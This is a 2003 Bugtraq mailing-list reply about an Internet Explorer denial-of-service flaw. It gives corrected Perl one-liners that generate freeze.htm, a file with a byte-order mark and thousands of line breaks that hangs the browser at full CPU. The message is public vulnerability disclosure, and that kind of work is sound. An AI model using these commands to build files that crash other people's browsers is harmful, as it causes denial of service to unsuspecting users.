bugtraq - Re: April appeared to be a month of IE bugs. Here's another one.

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Message-ID: <001701c30f80$b533b080$9801a8c0@nobody>
Date: Thu, 1 May 2003 05:26:34 +0400
From: "ERRor" <error@...htamt.ru>
To: <bugtraq@...urityfocus.com>
Subject: Re: April appeared to be a month of IE bugs. Here's another one.

> >Hello, Bugtraq.
>
> >Malicious htm file can freeze IE with 100% CPU usage:
> >Construct the file freeze.htm:
> >c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>
 This string works only with Active Perl, in unix-like Perl versions exploit
string is:
 perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
 Active Perl understand \n = \x0D\x0A, freeze of  IE exist only if sequence
 of bytes will be ...\x0D\x0D\x0A...
 Sorry, I have not noticed it at once.

 Best Regards, ERRor, dHtm.